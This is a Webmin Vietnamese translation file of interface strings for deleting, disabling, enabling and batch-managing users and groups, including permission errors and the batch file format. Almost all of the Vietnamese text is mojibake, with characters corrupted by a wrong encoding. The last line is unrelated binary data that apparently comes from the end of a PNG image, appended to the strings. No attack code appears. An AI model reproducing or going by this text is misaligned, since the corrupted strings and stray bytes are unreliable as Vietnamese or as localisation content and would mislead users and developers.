pft_4=Các tệp AIX <tt>passwd</tt> và <tt>bảo mật</tt>
pft_5=OpenServer <tt>passwd</tt> và các tệp <tt>bóng</tt> ngắn
pft_6=Cơ sở dữ liệu MacOS NetInfo

umass_title=Xóa ngưá»i dùng
umass_err=Không thể xóa ngưá»i dùng
umass_sure=Bạn có chắc chắn muốn xóa $1 ngưá»i dùng đã chá»n không? Các thư mục nhà cá»§a há» chứa $2 cá»§a các tệp.
umass_others=CẢNH BÃO! Má»™t số thư mục chính chứa các tệp $1 do ngưá»i dùng khác sở hữu.
umass_sure2=Bạn có chắc chắn muốn xóa $1 ngưá»i dùng đã chá»n không?
umass_euser=Bạn không được phép xóa ngưá»i dùng $1
umass_enone=Không có ngưá»i dùng nào được chá»n
umass_del1=Xóa ngưá»i dùng
umass_del2=Xóa ngưá»i dùng và thư mục nhà
umass_eroot=Bạn không được phép xóa ngưá»i dùng hệ thống (những ngưá»i có UID nhá» hÆ¡n hoặc bằng 10).
umass_doing=Xóa ngưá»i dùng $1 ..

gmass_title=Xóa nhóm
gmass_err=Không thể xóa nhóm
gmass_sure=Bạn có chắc chắn muốn xóa các nhóm $1 không?
gmass_euser=Bạn không được phép xóa nhóm $1
gmass_enone=Không có nhóm nào được chá»n
gmass_del=Xóa nhóm
gmass_eroot=Bạn không được phép xóa các nhóm hệ thống (những nhóm có GID nhỠhơn hoặc bằng 10).
gmass_doing=Xóa nhóm $1 ..
gmass_eprimary=Không thể xóa nhóm $1 vì đây là nhóm chính cá»§a ngưá»i dùng $2.

dmass_title=Vô hiệu hóa ngưá»i dùng
dmass_sure=Bạn có chắc chắn muốn tắt $1 ngưá»i dùng đã chá»n không? Há» có thể được kích hoạt lại sau mà không mất mật khẩu hoặc dữ liệu.
dmass_dis=Vô hiệu hóa ngưá»i dùng
dmass_pass=Tạm thá»i khóa mật khẩu ..
dmass_doing=Vô hiệu hóa ngưá»i dùng $1 ..
dmass_already=.. đã bị vô hiệu hóa!

emass_title=Cho phép ngưá»i dùng
emass_pass=Mở khóa mật khẩu ..
emass_doing=Kích hoạt ngưá»i dùng $1 ..
emass_already=.. đã được kích hoạt!

gbatch_title=Thực hiện tập tin hàng loạt nhóm
gbatch_ecannot=Bạn không thể sử dụng mẫu tệp nhóm
gbatch_desc=Biểu mẫu này cho phép bạn tạo, sá»­a đổi hoặc xóa nhiá»u nhóm cùng má»™t lúc từ tệp văn bản được tải lên hoặc cục bá»™. Má»—i dòng trong tệp chỉ định má»™t hành động cần thá»±c hiện, tùy thuá»™c vào trưá»ng đầu tiên cá»§a nó. Các định dạng dòng là :
gbatch_desc2=<b>create</b>:groupname:passwd:gid:member,member,...<p><b>modify</b>:oldgroupname:groupname:passwd:gid:member,member,...<p><b>delete</b>:groupname
gbatch_descafter=Trong các dòng <b>tạo</b>, nếu trưá»ng <tt>gid</tt> bị bá» trống, Webmin sẽ tá»± động gán GID.
gbatch_descafter2=Trong các dòng <b>sá»­a đổi</b>, má»™t trưá»ng trống sẽ được sá»­ dụng để có nghÄ©a là thuá»™c tính nhóm tương ứng sẽ không được sá»­a đổi.
gbatch_header=Tùy chá»n tạo nhóm, cập nhật và xóa hàng loạt
gbatch_others=Tạo, sửa đổi hoặc xóa các nhóm trong các mô-đun khác?
gbatch_batch=Chỉ cập nhật tập tin nhóm khi lô hoàn tất?
gbatch_chgid=Thay đổi GID trên tập tin của các nhóm sửa đổi?
gbatch_ecaccess=Bạn không được phép tạo nhóm tại dòng $1 : $2 
gbatch_emaccess=Bạn không được phép sửa đổi nhóm tại dòng $1 : $2 
gbatch_edaccess=Bạn không được phép xóa nhóm tại dòng $1 : $2 
gbatch_created=Äã tạo nhóm $1
gbatch_deleted=Nhóm đã xóa $1
gbatch_modified=Nhóm đã sửa đổi $1
gbatch_enogroup=Nhóm không tồn tại ở dòng $1 : $2 
gbatch_eprimary=Không thể xóa nhóm tại dòng $1 vì đây là nhóm chính cá»§a ngưá»i dùng $2.
gbatch_egroup=Tên nhóm trùng lặp tại dòng $1 : $2 
gbatch_egroupname=Tên nhóm không hợp lệ tại dòng $1
gbatch_erename=Bạn không được phép đổi tên các nhóm tại dòng $1 : $2 
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚